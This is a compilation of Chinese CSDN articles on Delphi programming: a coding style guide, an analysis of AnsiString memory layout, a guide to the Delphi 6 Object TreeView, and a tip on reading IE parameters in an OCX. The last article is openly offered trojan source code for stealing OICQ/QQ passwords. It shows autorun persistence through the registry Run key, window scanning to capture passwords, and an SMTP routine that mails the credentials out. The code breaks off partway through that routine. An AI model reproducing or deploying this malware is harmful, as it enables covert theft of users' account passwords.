对此规则主要的例外是头文件翻译的情况，应当遵循在原头文件中的命名习惯。例如：
WM_LBUTTONDOWN，不要写成wm_LButtonDown.

除了头文件翻译外，不要使用下划线分割单词。类名应当是名词或名词短语。接口或类的名称依赖于接口的显而易见的目的、用途。

好的名字：
AddressForm, ArrayIndexOutOfBoundsException
低劣的名字：
ManageLayout //使用动词短语
delphi_is_new_to_me //使用下划线

3.1 单元命名
参见单元声明

3.2 类／接口命名
参见类／接口声明

3.3 域／字段命名
使用驼峰式格式。以大写的"F"开始，并且在private中声明所有的数据，使用属性或获取者(getter)和安装者(setter)来提供公共的存取操作。例如：使用名字GetSomething来命名一个返回内部域／字段值的函数，使用SetSomething来命名一个设置域／字段值的过程。
不要在const段全部使用大写，除非是头文件翻译的需要。
Delphi是在加利福尼亚开发的，所有我们阻止记号的使用，除非是头文件翻译的需要。
正确：
FMyString: string;
不正确：
lpstrMyString: string;

当然在枚举类型定义中保留了匈牙利命名法：
TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp,
bkYes, bkNo, bkClose, bkAbort, bkRetry,
bkignore, bkAll);

在这种情况下字符bk被插入到这个枚举类型的每一个元素前。bk意味着ButtonKind。

在考虑命名习惯时，要避免使用单个字符的名称，但零时变量和循环变量除外。
避免使用"l"(L)变量，因为它和"1"(one)无论在打印机还是在显示器上都难以分辨。

3.4 方法命名
方法命名也使用驼峰格式。方法命名习惯同非常量域的命名方法是相同的，但可以从上下文区分它们。方法命名应当强制使用动词或动词短语。例如：
//好的方法命名：
ShowStatus, DrawCircle, AddLayoutComponent
//差的方法命名：
MouseButton //名词短语，没有描述功能
drawCircle //以小写字母开头
add_layout_component //使用了下划线

//以下方法的功能不够明确。它是开始运行一个服务呢(更好：StartServer)还是判断一个服务是否在运行(更好：IsServerRunning)？
ServerRunning //动词短语，但不是命令

一个获取或者设置一些类属性的方法应当分别被称为GetProperty或者SetProperty，Property代表该属性的名称。例如：
GetHeight, SetHeight

一个测试类的布尔属性的方法应当被命名为IsVisible，Visible代表属性的名称。例如：
IsResizable, IsVisible

3.5 局部变量命名
除了不使用"F"外，局部变量的命名规则同域／字段的命名规则一样。参见3.3节。

3.6 保留字
保留字和指示符要全部小写。这有时有些混乱。例如：Integer是一个标识符，并且以首字母大写出现。而string保留字则全部小写。

3.7 类型声明
所有类型名称声明以字母T开始，接下来和类的命名相同。

4.0 空白用法
4.1 空白行
空白行可以通过将逻辑相关的代码段分组来提高可读性。一个空白行也可以在下列地方使用：
在版权注释块之后，包声明(package)，导入段(import)。
类声明之间。
方法声明之间。

4.2 空格
Object Pascal是一种非常清晰易读的语言。通常，你不需要在代码里加入很多空格来分隔行。以下几条提供了一些原则该如何使用空格：
4.2.2 不应当使用空格：
在方法名和左括号之间；
在.(dot)操作符之前或之后；
在一元操作符和它的操作数之间；
在一个类型和被它强制转换的表达式之间；
在左括号之后和右括号之前；
在左方括号之后和右方括号之前；
在一个封号前；
例如：
//正确用法：
function TMyClass.MyFunc(var Value: Integer);
MyPointer := @MyRecord;
MyClass := TMyClass(MyPointer);
MyInteger := MyIntegerArray[5];
//错误用法：
function TMyClass.MyFunc( var Value: Integer ) ;
MyPointer := @ MyRecord;
MyClass := TMyClass ( MyPointer ) ;
MyInteger := MyIntegerArray [ 5 ] ;

4.3 缩进
你应当总是为所有的缩进层次缩进两个空格。换句话说就是，第一层缩进两个空格，第二层缩进四个空格，第三层缩进六个空格……。不要使用制表符Tab。
当然，仍然有少量的例外。保留字象unit, uses, type, interface, implementation, initialization 和finalization总是顶格的。单元的最后一个end标识符也是顶格的。在项目文件中，program和主begin、end也是顶格的。在主begin..end块内则需要缩进至少两个空格。

4.4 续行
行应当限制在80列以内。超过80列的行应当被分成多个连续的行。所有的后续行应当排列在该声明的第一行之后，并且缩进两个字符的空格。
例如：
//正确：
function CreateWindowEx(dwExStyle: DWORD;
lpClassName: PChar; lpWindowName: PChar;
dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
hWndParent: HWND; hMenu: HMENU; hInstance: HINST;
lpParam: Pointer): HWND; stdcall;

if ((X = Y) or (Y = X) or
(Z = P) or (F = J) then
begin
S := J;
end;

不要在参数和它的类型之间换行，除非列表是由逗号分隔，那样的话要在最后一个参数前换行，这样类型名就在下一行开头了。冒号和它的变量之间不应该有空格，而冒号和类型名之间要有一个空格。
//正确：
procedure Foo(Param1: Integer; Param2: Integer);

//错误：
procedure Foo( Param :Integer; Param2:Integer);

一个后续行不应以一个二进制操作符开始。避免在通常不出现空白的地方割断一行，比如在方法名和它的左括号之间，或者在一个数组名和它的左方括号之间。如果你必须在上述情况下割断行，那么应当在左括号或左方括号之后换行。不要把begin放在其它代码的同一行。
例如：
//错误：
while (LongExpression1 or LongExpression2) do begin
//DoSomething
//DoSomethingElse;
end;

//正确
while (LongExpression1 or longExpression2) do
begin
//DoSomething
//DoSomethingElse;
end;

if (LongExpressiong1) or
(LongExpression2) or
(LongExpression3) then

5.0 注释
Object Pascal语言支持两种注释：块和单行注释。以下是一些注释用法原则：
·在单元顶部放置注释用以解释单元的用途是有益的
·在类声明前放置注释是有益的
·在方法声明前设置注释是有益的
·避免语句含义明显的注释
i := i + 1; //Add one to i

·记住，容易误解的注释比没有注释更加有害。
·避免在注释里放入看上去要失效的信息
·避免在注释的边框里嵌入星号或其他的排版符号
·零时的注释，即需要被改变或删除的注释，要在他们之前加上"???:"标记，这样易于查找。从观念上来说，所有的零时注释都应当在程序发布前删除。
// ???: Change this to call Sort when it is fixed
List.MySort;

5.1 块注释
Object Pascal支持两种类型的块注释。最常用的是一对花括号{}括起来的注释。Delphi小组尽可能的保持该注释少而简单。例如：你应当避免在你的注释里使用星号来创建图案或行。相反，使用空格来分隔你的注释，就象你在字处理文档里做的一样。你的注释里的单词应当在第一个花括号的同一行开始，就象下面从DsgnIntf.pas中摘录的一样：

{ TPropertyEditor

Edits a property of a component, or list of components,
selected into the Object Inspector. The property
editor is created based on the type of the
property being edited as determined by the types
registered by...

etc...

GetXxxValue
Gets the value of the first property in the
Properties property. Calls the appropriate
TProperty GetXxxValue method to retrieve the
value.

SetXxxValue Sets the value of all the properties
in the Properties property. Calls the appropriate
TProperty SetXxxxValue methods to set the value. }

块注释通常被用在版权注释中。也被用来注释掉一些代码行。

用于解释方法的用途的块注释应当被访在方法的声明前面。
例如：
// CORRECT

{ TMyObject.MyMethod

This routine allows you to execute code. }

procedure TMyObject.MyMethod;
begin
end;

// INCORRECT

procedure TMyObject.MyMethod;
{******************************************************
TMyObject.MyMethod

This routine allows you to execute code.
*******************************************************}
begin
end;

第二种块注释包含了两个字符，括号和星号：(* *)。这有时被称为星括号注释。这些注释一般只在代码开发时有用，它的主要好处是允许嵌套注释，注释嵌套少于两层。Object Pascal不支持同类型的注释嵌套，因此事实上只有一层嵌套：花括号在星括号里面，或者星括号在花括号里面。 只要在你不嵌套它们时，在该类型的注释中的其它类型的标准Pascal注释将被忽略。因此，你可以使用该语法注释一大块既有代码又有注释的代码：

(* procedure TForm1.Button1Click(Sender: TObject);
begin
DoThis; // Start the process
DoThat; // Continue iteration
{ We need a way to report errors here, perhaps using
a try finally block ??? }
CallMoreCode; // Finalize the process
end; *)

在本例中，整个Button1Click方法被注释掉了，包括其中的任何子注释。

5.2 单行注释
单行注释由注释符//及其引导的文本组成，在文本和注释符之间有一个空格。单行注释同代码在不同行的，要同代码有相同的缩进层次。你可以使用多个单行注释形成大的注释。
在单行注释或注释组之前要有一个空行，除非它是一个块的第一行。如果注释用于几条语句，那么注释和注释组之后要跟一个空行。如果注释仅解释它后面的一行声明，则不必跟一个空行。
例如：
// Open the database
Table1.Open;

单行注释也可以跟在他们解释的代码声明后面。这类注释有时被引用为跟踪注释。在他们和代码之间至少要有一个空格。如果有多个跟踪注释在一个代码块中同时出现，那么这些注释需要被对齐。
例如：
if (not IsVisible) then
Exit; // nothing to do
Inc(StrLength); // reserve space for null terminator

要避免对每行可执行代码进行跟踪注释。在一个方法或函数的begin..end块之间限制使用注释、甚至让其为空，则在通常情况下是最好的。长的注释可以出现在方法、函数的定义之前的块注释当中。

类
6.1 类体的组织
类体的组织应当遵循下列顺序：
·域／字段声明
·方法声明
·属性定义
域／字段、属性、方法应当按它们的名称进行字母索引排列。

6.1.1 存取级别
除了由IDE生成的代码，类的范围指示符应当按以下顺序：
·private 声明
·protect声明
·public声明
·published声明
在Object Pascal中，类成员有四种存取级别：发布的、公开的、受保护的和私有的--按存取能力递减的顺序排列。默认的存取级别是published。一般，一个成员应当被赋予最合适它的最低的存取级别。例如：只能在同一单元中被其他类存取的成员就应当被声明为私有的。同时，声明低存取级别的成员也给了编译器提高优化的机会。当然，另一方面，使用低存取级别对子类的扩展造成了困难。如果有理由认为某个类在将来某个时候会被子类化，那么应当将那些需要被子类继承扩展的成员声明为受保护的，用于存取私有数据的属性也可以提供这方面的保护。
你应当禁止对数据的公开存取。数据通常在private段声明，任何对他的公开存取应当通过GetXXX、SetXXX方法或属性来操作。
6.1.8 构造函数声明
方法需要按字母索引排列。将构造函数和析构函数放在public段的开始或按照字母索引排列都是正确的。
如果有多个构造函数或你使用了多个相同的名字，那么应当根据形参列表来排列，参数少的在参数多的前面。这意味着如果存在没有参数的构造函数的话，那么它必定出现在第一个。为了和C++Builder保持最好的兼容，应当保证构造函数的参数列表的唯一性。C++不是根据构造函数的名称来调用它的，所以区别多个构造函数的唯一方法是通过它的参数列表。

6.2 方法声明
如果可能，方法声明要出现在单独一行上。
例如：
Examples:

// Broken line is aligned two spaces in from left.
procedure ImageUpdate(Image img, infoflags: Integer,
x: Integer, y: Integer, w: Integer, h: Integer)

7.0 接口
接口的声明与类的声明有相同的形式：
InterfaceName = interface([inherited Interface])
InterfaceBody
end;

接口声明应当被缩进两格，接口体缩进四格，end结束符缩进两格。
在接口声明中没有域／字段。但属性可以出现。
所有的接口方法天生就是公开的和抽象的，用不着在接口声明中包含此类关键字。
除非有其他的注意事项，否则接口的声明同类的声明具有相同的风格。

7.1 接口体组织
接口体的组织可以按以下的顺序：
·接口方法声明
·接口属性声明
接口方法和属性的声明和类具有相同的风格。

8.0 声明
声明是由封号结尾的一行或几行代码。单一声明只有一个封号，复合声明中有多个封号。
//这是单一声明：
A := B;

//这是复合声明：
begin
B := C;
A := B;
end;

8.0.1 单一声明
如果需要将一个单一声明换行，则需要参照上一行缩进两格。
//例如：
MyValue :=
MyValue + (SomeVeryLongStatement / OtherLongStatement);

8.1.1 赋值和表达式声明
每一行最多有一条声明。
例如：
a := b + c; Inc(Count); //错误
a := b + c; //正确
Inc(Count); //正确

8.1.2 局部变量声明
局部变量也使用驼峰格式，不要使用引导符"F"，这是为类声明中域／字段保留的。
例如：
var
MyData: Integer;
MyString: string;

你可以在同一行声明多个类型相同的变量：
var
ArraySize, ArrayCount: Integer;

这种声明习惯在类声明中是不提倡。

8.1.3 数组声明
通常总是在左方括号之前和右方括号之后放置一个空格：
type
TMyArray = array [0..100] of Char;

8.2.3 if语句
if语句至少要以两行的形式出现：
例如：
//错误:
if A < B then DoSomething;
//正确
if A < B then
DoSomething;

如果是复合的if语句，则应当每个分隔符一个新行：
//错误：
if A < B then begin
DoSomething;
DoSomethingElse;
end else begin
DoThis;
DoThat;
end;
//正确
if A < B then
begin
DoSomething;
DoSomethingElse;
end
else
begin
DoThis;
DoThat;
end;

以下的少数变化可以被采用：
//正确
if Condition then
begin
DoThis;
end else
begin
DoThat;
end;

//正确
if Condition then
begin
DoThis;
end
else
DoSomething;

//正确
if Condition then
begin
DoThis;
end else
DoSoemthing;

//下面的方式可能不被关心，但却是值得赞扬的：
if Condition then
DoThis
else DoThat;

8.2.4 for语句
Example:
// INCORRECT
for i := 0 to 10 do begin
DoSomething;
DoSomethingElse;
end;

// CORRECT
for i := 0 to 10 do
begin
DoSomething;
DoSomethingElse;
end;

8.2.5 while 语句
Example:
// INCORRECT
while x < j do begin
DoSomething;
DoSomethingElse;
end;

// CORRECT
while x < j do
begin
DoSomething;
DoSomethingElse;
end;

8.2.6 repeat until 语句
Example:
// CORRECT
repeat
x := j;
j := UpdateValue;
until j > 25;

8.2.7 case 语句
Example:
// CORRECT
case Control.Align of
alLeft, alNone: NewRange := Max(NewRange, Position);
alRight: Inc(AlignMargin, Control.Width);
end;

// CORRECT
case x of

csStart:
begin
j := UpdateValue;
end;

csBegin: x := j;

csTimeOut:
begin
j := x;
x := UpdateValue;
end;

end;

// CORRECT
case ScrollCode of
SB_LINEUP, SB_LINEDOWN:
begin
Incr := FIncrement div FLineDiv;
FinalIncr := FIncrement mod FLineDiv;
Count := FLineDiv;
end;
SB_PAGEUP, SB_PAGEDOWN:
begin
Incr := FPageIncrement;
FinalIncr := Incr mod FPageDiv;
Incr := Incr div FPageDiv;
Count := FPageDiv;
end;
else
Count := 0;
Incr := 0;
FinalIncr := 0;
end;

8.2.8 try 语句
Example:
// Correct
try
try
EnumThreadWindows(CurrentThreadID, @Disable, 0);
Result := TaskWindowList;
except
EnableTaskWindows(TaskWindowList);
raise;
end;
finally
TaskWindowList := SaveWindowList;
TaskActiveWindow := SaveActiveWindow;
end;

--------------------------------------------------------------------------------

Add or View comments on this article

Article ID: 10280 Publish Date: January 01, 1999 Last Modified: October 01, 1999


CSDN_文档中心_Object Pascal中String类型的内幕探讨

在Object Pascal中，String(准确的说是AnsiString)是一种可变长度的字符串，通过PChar(AString)可以将其转换为与Windows API相兼容的字符指针类型。事实上，String类型就是一个指针，你可以用Sizeof去读取它的大小，不论字符串的实际长度是多少，Sizeof(AString)永远是4。String与一般的Null-Terminated字符指针不同的是，String还要保留另外的一部分空间，用于记录字符串长度和引用计数等信息。String类型在内存中的确切格式如下：

（4字节）分配大小+（4字节）引用计数+（4字节）字串长度+（不定长）字符数组+（1字节）$0结束字符

为了验证这一点，我们可以在程序中添加一个作用域为private的String变量，在程序中动态改变它的长度和内容，同时观察它的分配大小和长度发生了什么变化。另外，为了观察引用计数的变化，只有在两个字符串互相复制的时候才能体现出来，我们在程序中也要实现这一点。

请新建一个Application，在窗体上放置一个Edit，一个ListBox和三个Button。其中，Edit用来改变字符串的内容；ListBox用来记录跟踪信息；三个按钮分别用于观察字符串的当前状况，观察字符串的引用计数变化情况和清空列表内容。

在Form的声明中添加一个变量:

type

TForm1=class(TForm)

...

private

s : string;

end;

添加三个按钮的事件处理如下：

procedure TForm1.Button1Click(Sender: TObject);

var

psz : PChar;

pdw : PDWORD;

dw1, dw2, dw3 : DWord;

begin

s := Edit1.Text;

psz := PChar(s);

pdw := PDWORD(psz);

Dec(pdw);Dec(pdw);Dec(pdw);

dw1 := pdw^;

Inc(pdw);dw2 := pdw^;

Inc(pdw);dw3 := pdw^;

ListBox1.Items.Add( Format('[Current]Size:%d, Ref:%d, Len:%d',

[dw1,dw2,dw3]) );

end;

procedure TForm1.Button2Click(Sender: TObject);

var

psz : PChar;

pdw : PDWORD;

dw1, dw2, dw3 : DWord;

s2 : string;

p1, p2 : Pointer;

begin

s := Edit1.Text;

psz := PChar(s);

pdw := PDWORD(psz);

Dec(pdw);Dec(pdw);Dec(pdw);

dw1 := pdw^;

Inc(pdw);dw2 := pdw^;

Inc(pdw);dw3 := pdw^;

ListBox1.Items.Add( Format('[Before assign]Size:%d, Ref:%d, Len:%d',

[dw1,dw2,dw3]) );

s2 := s;

p1 := Pointer(PChar(s));

p2 := Pointer(PChar(s2));

ShowMessage(Format('p1=%p,p2=%p',[p1,p2]));

psz := pChar(s);

pdw := PDWORD(psz);

Dec(pdw);Dec(pdw);Dec(pdw);

dw1 := pdw^;

Inc(pdw); dw2 := pdw^;

Inc(pdw); dw3 := pdw^;

ListBox1.Items.Add( Format('[After assign]Size:%d, Ref:%d, Len:%d',

[dw1,dw2,dw3]) );

s2 := s2 + 'Another string';

p1 := Pointer(PChar(s));

p2 := Pointer(PChar(s2));

ShowMessage(Format('p1=%p,p2=%p',[p1,p2]));

psz := pChar(s);

pdw := PDWORD(psz);

Dec(pdw);Dec(pdw);Dec(pdw);

dw1 := pdw^;

Inc(pdw); dw2 := pdw^;

Inc(pdw); dw3 := pdw^;

ListBox1.Items.Add( Format('[After COW]Size:%d, Ref:%d, Len:%d',

[dw1,dw2,dw3]) );

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

ListBox1.Items.Clear;

end;

如果你对指针的概念比较清楚的话，上面的代码是不难理解的。下面是该程序的输出结果：

[Current]Size:22, Ref:5, Len:5

[Before Assign]Size:22, Ref:2, Len:5

[After Assign]Size:22, Ref:3, Len:5

[After COW]Size:22, Ref:2, Len:5

观察上述结果，可以得出几个结论：

1．“分配大小”和“字串长度”之间存在着一种固定的数量关系，即分配大小=字串长度+17。为什么会有这种关系？请你再看一看String类型的内存分布：（4字节）分配大小+（4字节）引用计数+（4字节）字串长度+（不定长）字符数组+（1字节）$0结束字符，4+4+4+(strlen)+1，应该是13+(strlen)才对，也就是说应该还有4字节的空间，其用途尚不清楚。值得一提的是，如果你将字符串清空，那么Len的结果可能不是你所想象的0，而是一个让你大吃一惊的数字。

2．因为分配大小和字串长度都是用4字节来表示的，而且String类型是动态分配内存，所以字符串最大可能的长度应该是2^32-17个字节。

3．在拷贝字符串的时候，Object Pascal并不是把字符串简单的复制一份，而是采取了引用计数的方法，将两个字符串指向同一个内存空间，同时引用计数加1。当字符串变量被清除的时候，引用计数减1，如果引用计数已经减为0，表明该字符串可以真正被清除了。显然，这种方法比复制整个字符串的效率要高。

4．在给字符串赋值的时候，Object Pascal首先会检查字符串的引用计数是否为1。如果是，按照一般的方法直接赋值即可；否则，就说明有两个以上字符串指向同一个地址，这种情况就复杂多了。Object Pascal使用的是Copy-on-Write机制（COW），为当前字符串另外开辟一个缓冲区，将新内容拷入；同时，原来的字符串引用计数要减一。

5．知道了String的内存布局，我们也就知道了PChar(str)的意义了。不过，使用PChar的同时也就丢失了String的动态增长和引用计数的功能，所以一定要小心，另外要注意PChar长度的计算和字符串长度一定要同步，否则会出问题。比如，下面的代码就不能正常工作：

var

str : string;

begin

SetLength(str,256);

GetWindowDirectory(PChar(str),256);

str := str + ‘\win.ini’;

end;

这样的结果是不正确的。之所以不正确，是因为SetLength将字符串长度设成了256，而PChar计算的长度只到第一个$0为止。正确的方法应该是：

SetLength(str,256);

GetWindowsDirectory(PChar(str),256);

SetLength(str,StrLen(PChar(str)));

str := setr + ‘\win.ini’;

说明：上面的程序是在Delphi 5下测试通过的。Borland并不保证String的内存结构在以后的Delphi版本中会保持不变，所以，上述例子只是作为测试用，实际的程序中不应该这样使用String，谨此说明。


CSDN_文档中心_Object TreeView简要说明

Object TreeView简要说明

在 Delphi 6 IDE中，最显眼的新功能可能就是Object TreeView了。由于Delphi 6比较新，介绍它的资料还很少，所以很多人不知道如何使用Object TreeView，甚至嫌它太占地方而将它关闭了。事实上，当窗体上的构件越来越多的时候，你才会发现Object TreeView的强大功能。

以下是关于 Object TreeView功能的一个简单介绍，其主要内容取自《Mastering Delphi 6》，我只是做一些整理和翻译的工作罢了。希望能对使用Delphi 6的朋友有所帮助。

关于 Object TreeView的使用

1．在Delphi 5的Data Module设计器中，使用了一个TreeView来显示非可视构件（如DataSet, Fields,Actions等等）之间的关系。Delphi 6中的Object TreeView则是它的扩展，它不仅对于Data Module，对于普通窗体和其他对象也可用。

如果 Object TreeView当前不可见，而又想使用它，选择View | Object TreeView即可。

2．Object TreeView使用层次视图来显示窗体上的构件以及它们之间的关系。最典型的是父子关系：例如，所有Form上的构件都是Form的子节点；又如，放一个Panel到窗体上，再往Panel上面放一个Button，则Button会成为Panel的子节点。

Object TreeView，Object Inspector和窗体设计器是同步的。这就是说，在窗体上选择一个构件，则在Object TreeView中也会自动选中该构件，同时Object Inspector中显示该构件的属性和事件；同理，在Object TreeView中选择一个构件，窗体上也会同时选择该构件，在Object Inspector中显示其属性和事件。因此，Object Inspector可以看作窗体设计器的一个增强，在窗体上构件比较多，而且彼此覆盖的时候，在Object Inspector种选择一个构件往往比从窗体上面选择或者从Object Inspector的列表中查找要方便快捷。

3．Object TreeView中还能够显示构件之间的其他关系。举例如下：

（1）用Menu Designer设计菜单，所有菜单项按其在菜单中的层次显示在MainMenu节点下；

（2）对于数据集构件，例如TTable，Object TreeView还会显示它在运行时刻将产生的一些对象，例如Session，Alias等，但由于它们是运行时刻才产生的，所以无法编辑它们的属性，在Object TreeView中这些对象将以无名称的节点和一个特殊的图标来表示，并且在选中这些节点的时候，Object Inspector中没有属性可以编辑。

（3）对于ListView，Object TreeView还会列出它的Columns，在Columns上面点击右键，就可以直接编辑各个列。这比从Form Designer上面选择ListView，再选择Columns Editor来的方便。其他一些构件也有类似的情况，例如HeaderControl的Sections，CoolBar的Bands，StatusBar的Panels，都可以从快捷菜单中直接编辑。（ToolBar默认情况下虽然没有将Buttons列出，但是仍然可以在从Object TreeView中ToolBar的快捷菜单中建立Button和Separator。）

4．想精确设置构件之间的Contains关系，Object TreeView也是一个有用的工具。可以通过下面的试验来验证：

（1）在窗体上面放置一个Panel；

（2）从构件面板上选择Button构件；

（3）将鼠标定位在Object TreeView上面（但先不要按下）。你会注意到，当鼠标指向可以作为Container的构件，例如Form和Panel的时候，光标形状会变成一个箭头带一页纸的形状，这说明构件可以放置到Container上面。相反，如果鼠标停留在ListBox，Label这样的构件上面，那么光标将会变成No Drop形状，说明它们不能作为Container。

（4）将光标定位在Panel上面，并按下左键。Button将自动成为Panel的子节点，同时，Panel和Button也建立起了contains关系。

你可以很容易的改变构件之间的 Contains关系。例如，在Object TreeView中拖动Button到Form上面，则现在拥有Button的Container就不再是Panel，而是Form本身了。在过去，这种操作是通过Cut&Paste来完成的，但是Cut&Paste也有一个缺点，那就是一个构件被剪切后，它和其他构件之间的关联就丢失了。而使用Object TreeView，不会有这种缺点。

在窗体上面的构件很多，并且彼此覆盖的时候，在 Form Designer中查找和操作某个构件就变得相当麻烦。在这个时候，Object TreeView更能够显示它的作用。

Object TreeView和Code Editor中的Diagram视图配合，还能够发挥更为强大的作用。不过这些内容相当多，需要另外用一个专题来讲述了。

Object TreeView很有用，不过代价是要多占一点屏幕空间。由于Delphi IDE支持各个工具的Docking，你可以将Object TreeView和Object Inpector组合在一起，成为一个窗口，这样可以稍稍节省一点屏幕空间。Object TreeView和Object Inspector既可以左右排列，也可以上下排列，这两种方式各有优缺点。你可以选择你喜欢的方式，然后用Desktop工具栏上Save Desktop按钮，来将你的桌面设置保存起来供下次使用。


CSDN_文档中心_OCX中得到IE传递的参数(2002/5/30 三金 版权所有)

OCX中得到IE传递的参数(2002/5/30 三金 版权所有)

如果你的工程属于OCX工程，并且需要连接数据库服务器。那么，工程应该适
应不同的数据库连接参数，如数据服务器名、数据库名、用户名、密码等当它们发
生变化时，工程应不需修改。这就要求OCX工程能携带参数。怎么搞？往下看。

在你看这篇文章之前，最好先看一下三金所写的另外一篇文章 “EXE工程和OCX
工程的转化“。否则，后果自负。别怕，only a joke！:)，不过，三金还是劝你看
一下，本篇你就会明白得快一些。如果你的OCX工程主Form是普通Form,并且继承于
工程中的ActiveForm,then,let's go on！

为了便于说明，假设工程中的ActiveForm的name为ActiveFormX，单元文件为
ActiveFormX.pas,工程主Form的name为frmMain，单元文件为MainForm.pas。总的说
来，就是在就是在TActiveFormX与TfrmMain之间加一个中间类，由此类完成参数的接
收。设此类为TActiveFormNewX，因为此类作为二者的中间类，就需要把TfrmMain的父
类由TActiveFormX改为该类。打开MainForm.pas，找到TfrmMain的声明：
TfrmMain=class(TActiveFormX)改为TfrmMain=class(TActiveFormNewX)，并且，
TActiveFormNewX继承于TActiveFormX。TActiveFormNewX的声明和实现如下，你应该
把它拷到ActiveFormX.pas单元中TActiveFormX的后面。

TActiveFormNewX = class(TActiveFormX,IPersistPropertyBag)
public
ServerName,DBName,UserName, UserPassword:String;
protected
function IPersistPropertyBag.InitNew=PersistPropertyBagInitNew;
function IPersistPropertyBag.Load =PersistPropertyBagLoad;
function IPersistPropertyBag.Save =PersistPropertyBagSave;
function IPersistPropertyBag.GetClassID=PersistPropertyBagGetClassID;

function PersistPropertyBagInitNew:HResult;stdcall;
function PersistPropertyBagLoad(const pPropBag:IPropertyBag;Const pErrorLog:
IErrorLog):HResult; stdcall;
function PersistPropertyBagSave(const pPropBag:IPropertyBag;fClearDirty:BOOL;
fSaveAllProperties:BOOL):HResult; stdcall;
function PersistPropertyBagGetClassID(out classID:TCLSID):HResult; stdCall;
end;

function TActiveFormNewX.PersistPropertyBagInitNew:HResult;
begin
Result:=S_OK;
end;

function TActiveFormNewX.PersistPropertyBagLoad(const pPropBag:IPropertyBag;
Const pErrorLog:IErrorLog):HResult;stdCall;
var
Str:OleVariant;
begin
if pPropBag.Read('ServerName', Str ,pErrorLog) = S_OK then
ServerName :=Str;
if pPropBag.Read('DBName', Str ,pErrorLog) = S_OK then
DBName :=Str;
if pPropBag.Read('UserName', Str ,pErrorLog) = S_OK then
UserName :=Str;
if pPropBag.Read('UserPassword', Str ,pErrorLog) = S_OK then
UserPassword :=Str;
Result:=S_OK;
end;

function TActiveFormNewX.PersistPropertyBagSave(const pPropBag:IPropertyBag;
fClearDirty:BOOL;fSaveAllProperties:BOOL):HResult;
begin
Result:=S_OK;
end;

function TActiveFormNewX.PersistPropertyBagGetClassID(out classID:TCLSID):
HResult; stdCall;
begin
Result:=S_OK;
end;

从代码不难看出，此类有四个public成员：ServerName,DBName,UserName,
UserPassword。参数就是传给了它们。既然是public成员，且TfrmMain是该类子
类，所以，就可以在TfrmMain中得到这四个值。注意，应该把代码写在TfrmMain
的OnShow中，而不是OnCreate。
在IE中应这样书写：
<OBJECT
classid="clsid:3E71BE48-9AE1-431D-BD68-B17AA355BF38"
codebase="ActiveFormProj1.ocx#version=1,0,0,0"
width=538
height=350
align=center
hspace=0
vspace=0
>
<param name=ServerName value=sanjin>
<param name=DBName value=tian>
<param name=UserName value=user>
<param name=UserPassword value=>
</OBJECT>
如果你想添加或减少参数，不用我多说了吧！ok,解决。

有朋友要发表意见：“我的OCX工程主Form是TActiveForm，照你的办法，我
可以在让我的TActiveForm继承于此类，我在TActiveForm中按同样的办法接收不
就的了！“。那我告诉你，参数的确能得到，不过你如果重新打开以下你的工程，
按F11看一下，TActiveForm的说有属性的和普通Form没什么两样了，虽然程序不
出错，但除了什么事和我无关。你要问为什么？我现在头有些大，要休息了。
更多更好文章尽在三金主页-天铭心草堂http://vip.6to23.com/tianmingxin


CSDN_文档中心_OICQ 远程木马的设计技术

{
****************** OICQ Hack 2001***********
*
* 2001 5.22 ver 1.1 Modify for OICQ2000b 0230
* 2001 5.25 ver 1.2 Modify for QQ2000b 0430
* Last updated: 2001.5.25
* Author :njhhack
* HackSoft Research Lab.
* Copyright(C) 2001 Allrigths Reserved.
*
*
**********************************************
}

//---------------下面是oicqhack.dpr工程文件
program oicqhack;

uses
Windows,
Messages,
mainunit in 'mainunit.pas';

{$R *.RES}

var
wClass: TWndClass; // class struct for main window
Msg: TMSG; // message struct

procedure ShutDown;
begin
UnRegisterClass(classname,hInst);
ExitProcess(hInst); //end program
end;

function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_CREATE: wincreate;
WM_TIMER: ontimer1;
WM_DESTROY: ShutDown;
end;
end;

begin
//如果旧版本已运行,则停止旧版程序,只运行当前新版程序
hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2');
if hmain<>0 then sendmessage(lp,wm_destroy,0,0);

hInst:=GetModuleHandle(nil); // get the application instance
classname:='HackSoft-Oicq-Password-Recoder';
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= classname;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
//建立一个新的定时器，用来定时扫描系统中的窗口
newtime:=SetTimer(hmain,0,300,nil);
//建立消息循环
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//结束定时器
killtimer(hmain,newtime);
end.

//-------下面是mainunit.pas单元文件

unit mainunit;

interface

uses
Windows,
Messages,
SysUtils,
Classes,
winsock,
registry;
const
CRLF=#13#10;
var
spy:string;
hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
his:array[0..100] of integer;
syspath:array[0..200] of integer;
regservice:function(uThread:integer;uType:integer):Integer;stdcall;
libhandle:thandle;
classname:array[0..100] of char;
items:array[0..4] of string;

err:integer;
wsadata:twsadata;
fsocket,fport,step:integer;
SockAddrIn:TSockAddrIn;
hackmail,email,newpass,fhost,s1,password:string;
sbuf:array[0..1024] of char;

procedure winCreate;
procedure OnTimer1;

implementation

//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('oicqpass',spy+'OICQPASS.EXE');
reg.closekey;
reg.free;
end;

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
